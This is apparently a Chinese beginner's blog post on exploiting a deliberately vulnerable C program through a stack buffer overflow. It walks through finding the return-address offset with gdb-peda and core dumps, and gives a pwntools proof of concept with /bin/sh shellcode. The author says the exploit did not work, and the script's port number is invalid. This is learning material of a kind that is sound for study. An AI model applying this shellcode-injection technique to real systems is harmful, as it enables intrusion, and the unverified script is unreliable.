pwn入门2

Author Avatar
Aryb1n 4月 29, 2017

代码是这个

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vunerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
int main() {
    vunerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译的时候关掉了一切保护措施balabala -o level1

然后

  1. 打开gdb
     haibin$: gdb ./level1
    
  2. 跑一个150长的字符串
     gdb-peda$ pattern create 150
     'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
    
  3. 跑一下程序,把字符串输进去,得到崩溃时候的无效返回地址
     Stopped reason: SIGSEGV
     0x41416d41 in ?? ()
    
  4. 看看这个字符串0x41416d41(AmAA)在输入的哪个位置上(这里开始有疑问,后来明白了)
     pattern offset 0x41416d41
    
    或者
     pattern offset 'AmAA'
    
    不是
     pattern offset 'AAmA'
    

    因为这里是小端0x41416d41实际上意思是以此出现了0x41, 0x6d, 0x41, 0x41 ,从低的地方往高的地方数数哦,所以对应的是字符串AmAA
  5. 得到了偏移量
     gdb-peda$ pattern offset '0x41416d41'
     1094806849 found at offset: 140
    
  6. 接下来就是通过贮储文件得到正确的要跳转到的shellcode的位置,前面的过程相当于得知了shellcode的格式,即相对位置(shellcode + padding + ret) 其中shellcode和padding共长140,ret处填shellcode的起始位置,即为报错时候的$esp - 140 -4,但这是个相对位置,我们得得到程序运行时候的shellcode的绝对位置,就是栈上的某一块位置,本来的话,我们在调试的时候,出现Stopped reason: SIGSEGV 0x41416d41 in ?? () 的时候就可以通过x/10s $esp-144就可以看到我们shellcode的地址

     gdb-peda$ x/10s $esp-144
     0xffffcb50:    "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\377"
    

    这里得到shellcode的地址为0xffffcb50,但实际上有个问题,据说gdb调试的时候会影响栈地址,和不用gdb的时候不一样,我的天,,,所以要正常运行程序生成贮储文件来找出正确的地址

     ulimit -c unlimited
     sudo sh -c 'echo "tmp/core.%t" > /proc/sys/kernel/core_pattern'
    

    大概是设置转储文件名字格式
    之后运行我们的程序,输入长字符串

     haibin$: ./level1
     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....懒得帖了
     Segment fault(core dump)
     haibin$: gdb level1 /tmp/core.xxxxxxx
     ....各种信息
     Program terminated with signal SIGSEGV, Segmentation fault.
     \#0  0x41416d41 in ?? ()
     gdb-peda$ x/10s $esp-144
     0xffffcb90:    "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\377"
    
  7. 得到了我们要的地址0xffffcb90(这个地址确实和开gdb的不一样,开gdb的地址大概是0xffffcb50),然后就能写poc了

  8. 写poc

#!/usr/bin/python
#encoding: utf-8
from pwn import *

#p = process('./level1')
p = remote('127.0.0.1', 123456)
ret = 0xffffcb90   

#md , shou qiao hao lei a,我从网上抄的shellcode,感觉好像其实不能用
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret) # 140 + 4 没毛病
print payload

p.send(payload)

p.interactive()


#|-----------payload---------|
#|---------------------------|
#|140 bytes          |4 bytes|
#|---------------------------|
#|shellcode + padding|ret    |
#|---------------------------|
  1. 写好跑一下,应该就能getshell了,但我好像并没有成功,不知道为什么,但大概了解了整个过程